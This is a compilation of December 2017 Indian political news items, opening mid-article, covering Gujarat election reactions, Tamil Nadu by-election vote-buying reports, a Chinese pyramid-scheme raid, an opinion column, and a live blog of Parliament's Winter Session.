"Sometimes whatever is done by Rahul Gandhi...our leadership, is undone by such statements," added Moily, who had held portfolios such as law and justice, corporate affairs and petroleum and natural gas during the UPA government.

He alleged that Modi raised issues to emotionally blackmail the electorate in Gujarat.

"...like 'supari' was given to kill him (Modi) when he (Aiyar) visited Pakistan. He (Modi) makes that statement after a lapse of one year. Credibility is the question. But certain percentage of votes must have been swayed because of this," Moily said.

"...then again, Pakistan is working against him (Modi) in Gujarat election. Such issues...the Election Commission should take serious note when there is absolutely no proof. It's absolutely again an election 'jumla', and an election jumla should not win an election for any political party; it's negation of democratic principles," Moily said.

"So, it was not on merit or 'vikas', or Gujarat model (that BJP won), but only because certain distortions which have taken place and emotional blackmail and utilising the false statement before the Gujarat electorate," he alleged.

Moily also said the Congress' performance in Gujarat, particularly under Gandhi's leadership was "par excellence".

"All those light talks, particularly on Rahul Gandhi, have stopped now. He is marching forward," Moily said and claimed that his party lost in 16 Assembly seats in the western state by barely around 200 votes.

"He (Rahul Gandhi) could also consolidate all social forces along with the Congress. It's a big success," Moily said.

"Rahul Gandhi has emerged as an alternative to Narendra Modi for the 2019 (general) elections," he added.
Panaji: Goa chief minister Manohar Parrikar said on Tuesday those who compared the BJP government in Goa to Nazi rule should read European history, adding a pre-Portuguese era anti-India sentiment was resurfacing in the state.

In his Goa Liberation Day speech, Parrikar also asked people to be cautious against a negative mentality which he said was raising its head in the former Portuguese colony.

"Some people tried to compare this government with Nazis. I advise them to read the history of Europe, including that of the First and Second World War, then they will realise that when you point one finger at someone, then five fingers are pointing at yourself. We need to be careful of such mentality," Parrikar said.

In the run-up to the February state assembly poll, an article in a magazine run by the influential Roman Catholic Church in Goa had likened the Bharatiya Janata Party (BJP)-led coalition government to Nazi rule in Germany.

"Some people are extremely negative. We should be careful of such mentality. When Goa was made independent, many people would say that India had snatched Goa. There were many who refused to accept that Goa was a Union Territory of India. That mentality is repeating again," Parrikar said.

Goa, a former Portuguese colony, was liberated by the Indian armed forces on 19 December, 1961.
Kohima: Nagaland chief minister TR Zeliang on Tuesday appointed 10 new advisors to the state government with the rank of Cabinet minister.

The 10 include EE Pangteang, Dr Chotisuh Sazo, Yitachu, N Thongwang Konyak, N Thomas Lotha, Vikho-o Yhoshu, R Tohanba, T Torechu, Tovihoto Ayemi and N Jacob Zhimomi.

The chief minister administered the oath of office and secrecy to the 10 new advisors at state Banquet Hall on Tuesday night.

Zeliang had earlier reshuffled his cabinet minister by inducting six new ministers but is yet to allocate portfolios.

Replying to newsmen after tonights swearing-in, Zeliang said: "the portfolios would be distributed very shortly."

Asked on the Court case being filed by a pressure group in the state against the appointment of parliamentary secretaries and advisors in the ministry, Zeliang said: "it is okay until the judgement is passed while there is no stay order from the court."

On the disgruntlement of Lotha Hoho over the sacking of two Lotha Cabinet ministers Y Patton and Mmhonlumo Kikon, Zeliang said: "we have no comment, because ministry is formed by the elected members and the party".

"If anyone is dropped or expelled from the party, the tribal hoho need not come in between such action," Zeliang said.

Replying to a query on the statement of the Rengma Hoho that legislators should first resign if they are talking of solution of Naga political issue, Zeliang said "there cannot be pre-condition from the NGOs, but it depends on the Government of India and the Naga nationalist political group whether they will come to a conclusion."

The chief minister said, "How one tribal hoho can ask legislators to resign, because we are established by the Constitution of India, and it will go according to the Constitution."
Chennai: Tamil Nadu Assembly Speaker P Dhanapal on Monday informed the Madras High Court that there was no haste, mala fide or perversity in him passing the order disqualifying the 18 pro-Dinakaran AIADMK MLAs.

Dhanapal's senior counsel C Aryama Sundaram made the submission during the hearing of the petitions challenging their disqualification by the speaker under the anti-defection law in September.

The submissions were made before the first bench of Chief Justice Indira Banerjee and Justice M Sundar.

The bench is also hearing another petition seeking disqualification of Deputy Chief Minister O Panneerselvam and 10 other MLAs of the then rebel camp headed by him for voting against Chief Minister E Palaniswamy in February.

The 18 MLAs were disqualified on a plea by the ruling party's whip after they met the governor and expressed their lack of confidence in the chief minister.

The bench sought clarification about the dates on which the plea by the six then MLAs loyal to sidelined AIADMK leader TTV Dhinakaran was received by the speaker seeking disqualification of Panneerselvam and others.

It also wanted to know when the Election Commission had recognised the factions led by Palaniswami and Panneerselvam as two different groups before their coming together in August last.

Sundaram submitted that the complaint was received on 20 March, before the speaker could act, and the EC had on 22 March recognised both the Panneerselvam and Palaniswamy factions as different entities. The arguments would continue on Tuesday.
New Delhi: The BJP on Tuesday rejected Rahul Gandhi's claim that the Gujarat poll result was a "massive jolt" to the party, saying it was actually a setback for the Congress as it was on the verge of "extinction".

Addressing a press conference, Union minister of human resource development Prakash Javadekar told reporters, "Yesterday (Monday) the BJP won Gujarat for the sixth consecutive time and also got the mandate in Himachal Pradesh. But today (Tuesday) a new definition has emerged as Rahul Gandhi described the results as a setback for the BJP."

"We have won for the sixth time in Gujarat, which no one could manage to get, and got a two-thirds majority in Himachal Pradesh. Even our vote share has increased," he claimed.

Javadekar was reacting to the Congress president's remarks that the Gujarat election result has dealt a "massive jolt" to the BJP and raised questions about Prime Minister Narendra Modi's credibility because of his silence on corruption charges including BJP chief Amit Shah's son Jay Shah's meteoric business rise.

"Those who were saying that development has gone mad, people gave them a severe jolt by reposing their faith in the BJP," he said.

He said that if Rahul Gandhi thinks that it was a jolt for BJP then either "he is changing the definition of jolt or trying not to understand it".

He also said that it is the reason why jolt was given to the Congress or "else there is no chance of improvement for them".

The BJP leader said that since 2014, BJP has formed governments in Haryana, Jammu and Kashmir, Maharashtra, Manipur, Assam, Uttarakhand, Jharkhand, Andhra Pradesh and Telangana.

"While under Rahul Gandhi's leadership they have lost since 2014," he said.

"Today BJP is in power in 19 states. In all Assembly constituency seats of Amethi (Gandhi's Parliamentary constituency), in Uttar Pradesh, they fought on 400 seats (civic polls) but could only manage seven seats," he said.

"Where is Congress? Congress is on the verge of extinction while the BJP is rising," he said.

He also described the Congress leader's charges against the BJP as "an insult to democracy and people's mandate".

He criticised Gandhi for attacking Modi and claiming that his development model has failed. Javadekar said, "People have voted for his development model.

"What is Gujarat's message?" he asked, adding that people of the state have rejected Congress' "casteist politics".

"And I can say that the development has not gone crazy, but the Congress has," the minister said.

Slamming the Gandhi scion for questioning the 36 Rafale fighter jets deal with France, Javadekar said, "The government-to-government Rafale deal is fully transparent as no middlemen, commission or corruption is involved in it.

"It is not Bofors...it is Rafale. And it is an example of transparency," the BJP leader said.

"But they are questioning it because for them defence deal means corruption and commission," he said.

The BJP leader also defended party President Amit Shah's son Jay Shah's business saying that he tried to do business in which he incurred losses.

"They cannot understand the difference between the turnover and profit," he said.

"Jay Shah's company made a turnover of Rs 80 crore but at the end he incurred losses. And Rahul Gandhi is questioning Modi's silence on that," he said.

"We are replying to that charge and we shall explain what is the difference in the nature of the businesses of Jay Shah and (Gandhi's brother-in-law) Robert Vadra," he said.

"Jay Shah did not get any government contract or tender and incurred losses in his business.

"While Vadra, bought the land for Rs 8 crore and got the loan amount of the same amount from the person from whom he bought the land. And after two to three months the prices of that land increased from Rs 8 crore to Rs 50 crore as the government changed the rules," he said.

"And when such things happen that is called a scam," he said, adding, "This (Jay Shah turnover) is not a scam, but it is an initiative to do business."

Click here for detailed coverage of Gujarat Assembly Election 2017
There are many ways of interpreting the Gujarat election results. The important thing for BJP is not to draw the wrong conclusions from a very fractious mandate. This is because Gujarat has well and truly set the pace for 2019 polls. From here on, all the Assembly polls will cumulatively shape the 2019 verdict. The stakes cannot be higher.

This is precisely why the BJP and Narendra Modi must avoid falling into the trap of populism to insure against future shocks. There will be a lot of temptation for Modi to take a populist turn given the fact that Rahul Gandhi seems to have revived Congress fortunes, somewhat riding on a deeply populist campaign that pivoted on 1980s era failed socialist politics. The Congress president issued cheques that he possibly cannot encash, promised sops that are a fiscal impossibility, made a string of irresponsible claims and delivered platitudes characterised by ambiguity and lack of either policy direction or action plan.

Yet the fact remains that Congress has won 77 seats (80, if you add Congress-backed candidates). Its vote share rose north to 41.4 percent from 38.93 percent in 2012, resulting in a net gain of 16 seats. On the surface, this suggests that at least a fair percentage of voters were swayed by his claims and platitudes. Politics at the end of the day is perception, not reality. Modi could be justified in thinking that continuing with the reforms process would be too risky and in order to protect his flanks, he may feel the urge to ratchet up government spending towards doles and entitlements.

And that would be a wrong conclusion with a terrible price to pay. India cannot afford to return to the era of doles and entitlements that characterised the tenure of UPA 2 and brought the Indian economy to its knees. Gandhi might feel enthused to carry on with his brand of politics because notwithstanding his recent gains, he remains an unimaginative, mediocre leader. He would no doubt interpret this result as a green signal for an even more populist campaign and in Rajasthan or Madhya Pradesh next year. We might see a vigorous clamour for more fiscally irresponsible demands.

But Modi shoud know better. A cursory data analysis will reflect that despite all the barbs from Rahul Gandhi on GST, voters most affected by it have stayed firmly loyal to Modi. Diamond and textile traders in Surat who had declared war on BJP due to GSTs teething woes and had called a strike to express their anger, rejected the Congress once more. BJP swept 12 seats out of 12 among a chiefly Patidar community which indicates that Patidar leader Hardik Patel drew the crowds but failed to translate the support into votes.

It would also be pertinent to remember that Rahul Gandhi ran an intense campaign around Surat, interacted with textile and diamond merchants and coined the infamous Gabbar Singh Tax for GST. The results show that in nearly all the urban areas, the BJP has registered massive wins over Congress

Shailesh Gaikwad writes in Hindustan Times that in November, Surat traders were up in arms against the BJP due to GST halving their incomes and forcing them to fill up complicated forms. But on Monday, traders said they were satisfied with the steps taken by the government to reduce tax rates on several items and simplify filing processes in the run up to the December polls. Moreover, many traders were wary of deserting the BJP, which they had supported for generations, and voting for the Congress.

Data also shows that BJP won handsomely in urban areas of Gujarat, retaining more than 57 percent of the vote share and 47 seats. It is in rural Gujarat where Congress performed well and made the fight a closely contested one. The party won 68 seats with a vote share of 45.8 percent, which is one percentage point lower than BJPs in rural areas.

The curious thing is BJP lost 14 seats in rural Gujarat with a higher vote share than the Congress whereas the grand old party bagged 17 seats. BJPs overall vote share was up since 2012 to 49.9 percent  a change of 2.1 percent while Congresss 43.3 percent vote share was a jump of 4.4 percent.

What explains the curious fact that BJPs vote share went up from 2012 yet the party bagged 16 less seats (from 115 to 99)? The answer lies in the fact that BJPs votes were less productive and not optimally spread. Where it won, it won big and wastefully so. Whereas Congress registered narrow wins in many rural areas. This is one of the curiosities of the first-past-the-post voting system.

This means that BJP shouldnt be too worried about its results because its so-called disruptive reforms were accepted by voters, more so in places where its disruption was the highest.

Conversely, BJPs focus should be on mitigating the agrarian distress, but not through doles and entitlements of the Congress model but through a more thorough implementation of the Gujarat model that, as economist Arvind Panagariya reminds us, resulted in proportion of population living below the poverty line in Gujarat falling from 32.5% in 2004-05 to 17% in 2011-12. The same trend with approximately similar proportionate decline was seen separately in rural and urban poverty.

Modi should therefore draw the right lessons from the Gujarat results. Agrarian crisis must be addressed but not at the cost of reforms. Voters, despite what the Congress thinks, are not fools.
Police in northeast China have seized 364 million yuan (around 55 million USD) in cash connected to a massive pyramid scheme, with 24 suspects arrested, according to police in the city of Shenyang, Liaoning Province.

Piles of money worth 364 million yuan (55 million USD) is seized as part of a massive pyramid scheme by police in Shenyang, capital of Liaoning Province, December 4, 2017. [Photo: VCG]

12 vehicles and 5 properties have also been seized in the crackdown, said local police.

Authorities say people were asked to invest 3,900 yuan (about 590 USD) per person, with promises of an annual return of no less than 150,000 yuan (about 22,675 USD).

More than 100,000 people from 25 provinces and cities are said to have signed up in just two months, with 600 million yuan being funneled to the suspects.

Police and staff count cash seized in connection with giant pyramid scheme in Shenyang, capital of Liaoning Province, December 4, 2017. A total of 364 million yuan (55 million USD) was seized in a raid. [Photo: VCG]

Acting on tips, police launched a raid on December 3, arresting the 61-year old ring leader and 23 of his accomplices.
As campaigning for by-election in Chennai's RK Nagar constituency came to an end on Tuesday, allegations are rife about voters being bribed. According to India Today, AIADMK leader Madhusudhanan wrote a letter to the Election Commission, alleging that pressure cookers were being distributed "under the instruction of TTV Dhinakaran". These cookers were the undisclosed stock of a shop that did not "transact any business" for three years, he alleged.

Men have also been caught giving out packets of biryani  along with Rs 2,000 notes  in RK Nagar, the India Today report said. People who attended Dhinakaran's rally were allegedly given Rs 300 every day for 10 days.

However, the report also said that it's not just the Dhinakaran camp that's using cash to lure voters; the EPS-OPS camp of the party has already finished distributing money, it said.

The report comes just two days after election officials seized Rs 13 lakh from a locality in RK Nagar on Saturday. Chaotic scenes were witnessed, as some men accused of trying to distribute cash to voters were chased by the police and DMK cadres.

The men accused of giving away cash denied it, while at least two others were seen running away in the bylanes of the congested constituency with the police giving chase. Angry DMK cadres too chased them and some persons were handed over to the police following allegations of cash distribution.

Canvassing was on in full swing in the Assembly segment where bypolls are to be held on 21 December, and party workers have swarmed the residential neighbourhoods. The political campaign ended at 5 pm and the Election Commission has made it clear that there will be no election related activities as per rules.

The campaign witnessed top leaders of various parties  Chief Minister K Palaniswami and his deputy O Panneerselvam of the AIADMK, DMK working president MK Stalin, and sidelined AIADMK leader TTV Dhinakaran  all reaching out to voters and campaigning intensively.

The outcome of the by-election could serve as a report card of the ruling AIADMK which faced turbulence after late chief minister J Jayalalithaa's death.

With inputs from PTI
Christmas has come early to RK Nagar in north Chennai. The only difference is that the Santa Claus here in attired in a white veshti. And the gifts come in the form of Rs 2,000 notes.

Between April, when the by-election to this constituency was rescinded because of rampant bribing of voters, and December, the rate for a vote has increased by 50 percent. Going by anecdotal evidence, it has gone from Rs 4,000 for a vote to Rs 6,000. Eight months ago, documents seized during an Income Tax raid on the Tamil Nadu health minister's residence showed that the ruling AIADMK planned to allegedly distribute Rs 89 crore among the two lakh voters of RK Nagar.

A Chennai local described the RK Nagar bypoll as an "auction". Indeed, the brazen manner in which money was being distributed, without fear of the law, would indicate that cash is still king in the Chennai Political League. Such is the level of voter corruption that it is an accepted fact that only the highest bidder would get the RK Nagar vote.

Grapevine and local voices all seem to suggest that both the AIADMK and rebel TTV Dinakaran are matching each other, at Rs 6,000 a vote. On record, both parties deny distributing money, instead accusing the other candidate of doing so. The DMK has tried to take the moral high ground by saying it will not purchase votes in this election. The fact that this stand is being appreciated points to the muck that everyone accepts has seeped into the electoral system. However, sceptics still believe that MK Stalin is only posturing and even the DMK is distributing money, albeit at a lesser scale than its political rivals.

Unlike earlier elections, distribution of money is reportedly not taking place inside the constituency. Those in the know point out that tiny lodges around Chennai Central railway station have emerged as points of distribution. Most of them have been taken over by cash-rich representatives of political parties. They come armed with electoral rolls of the constituency and word is spread in select streets of RK Nagar, asking voters to reach out to a particular lodge, armed with their voter ID cards and Aadhaar cards. The money is handed over only on submission of proof.

Operating from this area also helps political operators stay out of RK Nagar, which has the maximum concentration of the Election Commission's flying squads and police machinery.

Unlike the AIADMK that's banking on its 'two leaves' symbol to do the trick, Dhinakaran's challenge will be to ensure that everybody knows his poll symbol, a 'pressure cooker'. Given the effort he took in April to popularise the 'hat' symbol that he was allotted then, he now needs to ensure voters know it has changed, lest they end up casting votes for another Independent candidate who has now been allotted the 'hat' symbol this time round.

Deccan Chronicle reported that whenever Dhinakaran comes visiting, the voter needs to show the cooker as proof of the fact that the money has been received. The BJP has made a similar allegation as well. There have also been complaints alleging large orders being placed for pressure cookers with a particular shop in Chennai.

Meanwhile, DMK activists have caught men armed with money and ledger books with the AIADMK's 'twin leaves' symbol on it, and handed them over to the police. Money was also being allegedly distributed inside biryani packets in coordination with food outlets.

The joke in RK Nagar is that by the time the election gets over, every house in the constituency will get a brand new pressure cooker. Since it's not easy to distribute the kitchen utility item in a clandestine way, locals hope Dhinakaran will gift a cooker if he emerges victorious.

Unlike many other constituencies, where no one would admit to accepting money, in RK Nagar, it is taken as a democratic right.

It is a commentary on the corrupt nature of Tamil Nadu politics that people have no qualms about accepting money. The justification given is that it is not the politician's hard-earned money that he is distributing, but money looted from the public exchequer.

In fact, voters have been caught on camera complaining that they have not received money from a particular party just because they have been labelled as supporters of another party.

This is why the RK Nagar election is an issue-less election. The only talking point you would hear in the constituency is whether one has received money or not, and how much. Arun Krishnamoorthy, a psephologist who surveyed the area for a regional news channel, calls RK Nagar a large mob with a singular thought, a ghetto with a similar mindset.

Over the last one year, Tamil Nadu has seen strange political twists and turns. RK Nagar, given that it was Jayalalithaa's constituency, has the potential to dramatically change the political template of Tamil Nadu if the AIADMK candidate loses badly.

But for now, by all indications, it seems to be focused on getting the best possible price.
Ballia: The Samajwadi Party on Tuesday hit out at the Narendra Modi-led BJP government, claiming that it had a special concern for the Muslim women and asked when the ruling party would address the problems faced by Hindu widows.

Speaking to reporters, Samajwadi Party national general secretary Ramashankar Vidyarthi also blamed the statements made by Congress leaders Mani Shankar Aiyar and Kapil Sibal for the Congress' defeat in the Gujarat Assembly elections.

"The BJP government has a special concern to address the interests of Muslim women, but it is unable to see the plight of Hindu widows," he claimed.

The condition of the Hindu widows is very bad and are kept away from various social programmes, he said.

"When will any attention be given to the Hindu widows, and when steps will be taken to provide them equal rights," he asked the prime minister.

On the election results, the Samajwadi Party general secretary said, "The Congress lost the (Gujarat Assembly) elections due to the statements made by Mani Shankar Aiyar and Kapil Sibal. It was because of their remarks that the BJP resorted to communal polarisation and was able to register a victory."

He also said the Samajwadi Party would review its performance in the Assembly elections held in Gujarat and Himachal Pradesh.
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Cabinet meeting to take place at 1 pm in Parliament today

NDA meeting to take place at 4 pm in Parliament today

Speaking to ANI, Leader of Opposition in Rajya Sabha Ghulam Nabi Azad said, "For the first time a prime minister has accused former prime minister, former vice-president and diplomats of conspiring with Pakistan for Gujarat elections. Modi must clarify in Parliament."

After bitter and acrimonious campaigning for Gujarat election, the Opposition, especially Congress, is up in arms and it is therefore expected that the first day of the Winter Session will be a stormy one.

Hoping that the Winter Session will be a "constructive" one, Prime Minister Narendra Modi addressed the media and said, "The Winter Session of Parliament is starting and I am confident that it will be productive session. I hope there is constructive debate and we come up with innovative solutions to our nation's problems. May this Parliament Session contribute to the nation's growth. At yesterday's all-party meeting, we all were clear that we need to take the country ahead and this session should be used positively to achieve that."

I am confident that it will be a productive session: Narendra Modi

Leader of Opposition in Lok Sabha Mallikarjun Kharge, in response to Narendra Modi's appeal for a constructive session, said, "We are always in favour of constructive suggestion. We are very much interested to run Parliament and issues to be discussed, provided the government should take interest and create such an atmosphere which is conducive for discussion. They should respect the opposition."

After obit references, Speaker Sumitra Mahajan adjourned the Lower House for the day. The House will meet again at 11 am on 18 December, 2017. Gujarat and Himachal Pradesh Assembly Election results will be announced on 18 December, as well.

The Winter Session will see some 19 amendment bills as part of the agenda. Some of these amendment bills such as the Prevention of Corruption (Amendment) Bill, 2013  makes prior sanction necessary to in order to investigate officials  and the Whistle Blowers Protection (Amendment) Bill, 2015  specifies grounds under which disclosures related to corruption may not be made  may attract a lot of flak from the anti-corruption brigade. Both the bills, have also been criticised for their half-hearted attempts to curb corruption.

According to PRS Legislative , on agendar are some 40 bills focussing on areas such as overseas citizenship, consumer protection, rights of compensation for Mulsim divorced women, education, surrogacy, bankruptcy, corruption, and labour and transgender rights among others.

The Muslim Women (Protection of Rights on Marriages) Bill gives women from the community the right to seek maintenance from their husbands in case of triple talaq, while the Insolvency and Bankruptcy Code (Amendment) Bill, 2017 prohibits certain persons, including promoters of defaulter companies, from submitting a resolution plan, the PRS added.

The new bills listed for introduction and passage include Insolvency and Bankruptcy Code (Amendment) Bill, 2017, Muslim Women (Protection of Rights on Marriages) Bill, 2017 and Goods and Services Tax (Compensation to States_Amendment Bill), 2017.

Opposition leaders in Rajya Sabha questioned the Chair's decision to disqualify senior JD(U) leader Sharad Yadav. Even as Chairman Venkaiah Naidu continued to tell the leaders of Opposition to sit down, Leader of Opposition in Upper House Ghulam Nabi Azad said that the Opposition did not intend to question the Chair's decision but demanded clarification on why was Yadav expelled from the Rajya Sabha.

The Opposition forced the first adjournment of the Rajya Sabha as leaders stormed the well demanding an explanation over JD(U) leader Sharad Yadav's expulsion. The Upper House is adjourned till 12 pm.

Advocate Nizam Pasha, who filed the plea on the behalf of the leader, said the matter regarding which faction is the real Janta Dal was sub judice and a final decision is yet to be passed.

Yadav was elected to the House last year and his term was scheduled to end in 2022. Anwars term was to expire early next year.

The JD(U) had sought their disqualification on the grounds that they had attended a rally of Opposition parties in Patna in violation of its direction.

The Rajya Sabha chairman had agreed to the JD(U)s contention that the two senior leaders had voluntarily given up their membership by defying the partys directives and attending events of Opposition parties.

Yadav, along with another MP Ali Anwar, was disqualified from the Rajya Sabha on 4 December. Yadav had joined hands with the Opposition after JD(U) president and Bihar chief minister Nitish Kumar dumped the grand alliance with the RJD and the Congress in Bihar and tied up with the BJP in July this year.

Former JD(U) president Sharad Yadav on 12 December, 2017 moved the Delhi High Court seeking setting aside of his disqualification from the Rajya Sabha. Yadav, in his plea, said he was not given any chance by the authorities before passing an order against him.

The notification for the new seating arrangements has been issued by the Rajya Sabha secretariat for new members. Shah's seat is on the other side of the aisle from Modi and BJP's leader of the house, Jaitley.

Shah has been allotted a front row seat of the treasury benches in the Rajya Sabha with Prime Minister Narendra Modi and Union Finance Minister Arun Jaitley. Shah will be occupying the seat held by M Venkaiah Naidu till he was elected as the Vice-President.

BJP chief Amit Shah made his debut in Parliament today. He was elected as a Rajya Sabha member from Gujarat in August this year.

Leader of Opposition Ghulam Nabi Azad raises the issue of Modi's allegations against former prime minister Manmohan Singh and others of conspiring with Pakistan for Gujarat election. "Ye sadharan aarop nahi hai (This isn't a ordinary allegation)," Azad said.

The Upper House witnessed two adjournments in the morning of the first day of the Winter Session. While it saw an adjournment for 20 minutes till noon in the beginning after Opposition uproar over disqualification of rebel JDU leaders Sharad Yadav and Ali Anwar Ansari, the second one was over the Prime Minister's remarks.

Rajya Sabha reconvenes after third adjournment on the first day

"Congress has lost Himachal Pradesh, and I want to thank the Prime Minister (Narendra Modi) for the unprecedented victory in Gujarat," Somaiya said

While opposition members were seen standing at their seats and protesting, from the treasury benches  BJP MP Kirit Somaiya, who had the first question listed against his name, said the Bharatiya Janata Party was headed for victory in both Gujarat and Himachal Pradesh.

The Lok Sabha witnessed an adjournment minutes after it met on Monday amid an uproar, and Speaker Sumitra Mahajan adjourned the House till 12 noon.

Rajya Sabha adjourned till 11 am on Tuesday after Opposition continued to raise slogans in the House.

The Opposition raises slogans demanding an apology from Narendra Modi ("Pradhan Mantri maafi mango"). Meanwhile the Speaker continues to run the House as numerous motions are passed in rapid fashion by voice votes.

While Yogi Adityanath and Keshav Prasad Maurya resigned as they shifted to Uttar Pradesh politics, Nana Patole had quit the party citing Modi government's indifference towards agrarian crisis.

While Nitin Gadkari is expected to move the Central Road Fund (Amendment) Bill, Hardeep Puri is expected to do so with the Requisitioning and Acquisition of Immovable Property (Amendment) Bill.

Two key bills expected to be moved in Lok Sabha

Calling the FRDI bill anti-people, the Trinamool Congress and other Opposition parties are all set to corner the government over the law.

The TMC has issued a notice for discussion on FRDI bill in Lok Sabha.

The Congress has moved an adjournment motion in the Lok Sabha seeking an apology from Prime Minister Narendra Modi over his comment on Manmohan Singh.

Now, Congress MPs come to the well of the Lok Sabha

Parliamentary Affairs Minister Ananth Kumar asks Congress MPs to not bring electoral issues into the House.

While Derek O' Brien raises the issue of FRDI bill, Congress MP Anand Sharma talks about undertrials in India, urging the Modi government to do something to curb the issue.

Leader of House Arun Jaitley says, "Everybody must get speedy trials. Do we have vested interests in delaying trials of politicians?"

Speaking in the Rajya Sabha, SP MP Naresh Agarwal asks Arun Jaitley if the NDA government will create special trial courts to try those who defaulted on Rs 8 lakh crore. His statement came after the government sought to push a new law to expedite the trial of MLAs and MPs.

Speaking in the Rajya Sabha, Pratap Singh Bajwa asked the government to intervene in the stubble burning by the farmers of Punjab and Haryana. He also raised the issue of Sri Lankan cricketers wearing masks does not bode well for India's international reputation.

Speaking in the Rajya Sabha, Pratap Singh Bajwa asked the government to intervene in the stubble burning by the farmers of Punjab and Haryana. He also raised the issue of Sri Lankan cricketers wearing masks does not bode well for India's international reputation.

Speaking in RS, TMC MP Sukhendu Shekhar Roy urges government to protect the personal data linked to the Aadhar. He adds that privacy is a fundamental law and hence the government needs to make a law to protect the data from third party external organizations.

Slogan shouting continued in the Lok Sabha as the Chair asked them not to disturb the Question Hour. "If you don't want the House to function, give that in writing," Mahajan said before adjourning the LS for half an hour.

"The farming community in the coastal belt stands thoroughly devastated. I ask the government, 'Why can't you declare this as a national disaster? What is preventing this?'" CPI leader D Raja asks the government.

Anand Sharma of the Congress says, "If the perception is created that special courts are needed only for MPs, other people should not have to bear the brunt of it." He adds, "It has an inherent potential to be abused in entirety by the government of the day."

"Government believes in "sabka saath sabka vikaas". The committee is trying to create communal divide in the country. i request the government to replace the managing committee of Dyal Singh College in Delhi," SAD MP Naresh Gujaral says while requesting the government to not rename the institute "Vande Mataram College."

Azad raises the issue of alleged EVM tampering in Gujarat. He also raises the issue of Prime Minister Narendra Modi making insinuation against Manmohan Singh, Hamid Ansari and Mani Shankar Aiyar.

In RS, Azad says if any leader is found to be guilty then punish them. "PM Modi maafi maango" is heard in the House.

While the Lok Sabha reconvenes, the noise over Prime Minister Narendra Modi's statement continues to disturb the working of the House.

Chairman Venkaiah Naidu asks Congress to not raise the issue and disrupt the proceedings of the Rajya Sabha. He said that the issue needs to be sorted out with a discussion with the Leader of the House (Jaitley).

JP Narayan Yadav of the RJD tells the House, "I request Lalu Prasad Yadav's NSG protection to be reinstated. He might be killed today. A lot of people adore him and he needs to be protected."

In Rajya Sabha, Arun Jaitley says, "Leaders of opposition shall be invited to discuss this issue." After his assurance, the House has been functioning smoothly.

Over a question whether the government is taking any steps to address the lack of medical infrastructure, Nadda says that AIIMS standards cannot be diluted. But he adds that there is a lack of faculty which is being addressed.

He said that despite the crude oil prices falling, the price of diesel and petrol has remained the same. "Now that BJP is in power and at Centre, when will it bring the petroleum under GST?" he adds.

"When will the GST council decide to bring it under the ambit of GST? what is the position of the Centre?" the former finance minister asks. Chidambaram says that the Centre has a veto power over the decision taken by the council.

"A constitutional bill has been passed. It stated that petroleum products is not out of the law. It is a part of GST but the decision to levy GST is concerned, it will be taken only after council takes decision. For that we need a 3/4th majority," Finance Minister Arun Jaitley said.

The issue has been raised by several Assam MPs in Lok Sabha. Looking at the seriousness of the issue, Union Minister Ananth Kumar has assured the House that the Centre will look into the issue.

"Not happy with what they did. That they came into the well is shameful. You can interrupt us but do not disrupt the proceedings. They insulted the Chair. Even Mallikarjuna Kharge disrupted the House. We condemn it." Ananth Kumar said.

The government has tabled the Companies Act (Amendment), 2017 in the Rajya Sabha. On the other hand, the government has introduced the Repealing and Amendment Bill, 2017 in the Lok Sabha.

Chidambaram said that the Bill has noble objectives. However, he added that the relaxations given to small and medium companies under this law will apply to all companies because we have only one Companies Act. Chidambaram said that there is a need to consider having a separate comprehensive legislation for small and medium companies.

This Bill seeks to repeal 131 Acts. Among the Acts that will be repealed, 30 are pre-Independence laws. This Bill also includes nine Ordinances promulgated before Independence.

What will the Repealing and Amendment Bill, 2017 do?

Speaking in the Lok Sabha, TMC MP Kalyan Banerjee says, " While there is no doubt that the Emergency in 1975-77 affected many people, there is a kind of Emergency without even constitutionally declaring it nowadays. It is important to make a distinction between the official emergency in 1975 and the post-2014 situation," Banerjee adds.

There is an undeclared Emergency now, says TMC MP

235 old laws to be repealed by this law!

"Corporate Governance leaves much to be desired in India. May be it is a legacy issue in the country. The law is old. It took 15 years for us to bring the new law. In between, there were various excesses in corporate world. There have been no proper regulation of companies. So, there is much to be desired. Like, many companies do not pay taxes but are part of the Registrar," Chidambaram says while concluding his speech.

Chidambaram says corporate governance leaves much to be desired

235 old laws to be repealed by this law!

Shiv Sena in the Lower House, demanded that along with the 235 archaic laws, the government must also repeal Section 377, which grants Jammu and Kashmir special status.

"Changes required to ensure that reserved seat for woman director is not occupied by family members of promoters," Seth said. He also raised the point of concentrated expenditure of CSR funds. "A lot of big companies are in Maharashtra, Gujarat. Hence CSR money is spent in those regions. CSR must be done in other regions of this country," he said.

"This bill fails to address the differences between various acts like the RBI act, and SEBI act. There are various discrepancies which must be addressed," Gupta said.

The bill will lead to conflict between two arms of the government. The removal of certain reasonable restriction will make money laundering easier," Gupta said. He said that the provision to give deposit security has been done away with, which is a serious problem.

Gupta also said that the government is trying to fit everyoe under a sigle law, while evidence from past points to the contrary. He said that small and medium enterprises continues to suffer and the Companies amendment bill has nothing to address that issue.

One size can't fit all, says Vivek Gupta in Rajya Sabha

Meanwhile in LS, Law Minister RS Prasad responds to objections and questions raised on repealment of archaic bills

The minister conceded that there is merits in decriminalizing Section 377 but there is opposition to it as well. There needs to be democratic consensus to repeal it. We need to debate, discuss and decide.

He also said that the bill allows same relaxations to SMEs as it does to big companies which "amounts to holding the country at ransom."

The CPM leader pointed out that the expenditure of CSR funds is not yet bounding on companies. He said that the Corporate Affairs Ministry merely accepts a mere explanation as to why money on CSR has not been spent.

Meanwhile... Congress attacks Narendra Modi outside Parliament over PMs comments on Manmohan Singh

Roy also demanded a white paper on the actual ground work done in his ministry.

He says that Gadkari used to be a vikas purush, but has now become a sapno ka saudagar (trader of dreams)." He said that whenever someone raises the point of funds, he says he will manage from foreign funds or here or there.

On a lighter note, however, Roy wondered why, Rudy, the speaker before him was removed from the cabinet, even though he is a splendid speaker.

"He is channeling money from one pocket to another pocket of his own ministry and we do not oppose it," Roy said. He said that since the money was being rerouted he will support the bill.

Saugat Roy of TMC rises to speak on Central Road Fund Amendment bill, says party supports bill

"Odisha coast canal should be included in the national waterways to give the state the benefit of the revolutionary transport network," Jena said.

Jena said that the state of Odisha has since-long been discriminated agaist by the central government. He requested Gadkari to formulate schemes to include the state in the development of transport networks.

Rabindra Kumar Jena of BJP asks Gadkari to route several waterway networks through Odisha

Samajwadi Party's Naresh Aggarwal objected to the passage and debate on two bills in the same day, adding that it eats away the time of short duration discussions. After a brief exchange, Yadav only resumed his seat after being assured from the Treasury Benches that at least one short duration discussion will be held in the House.

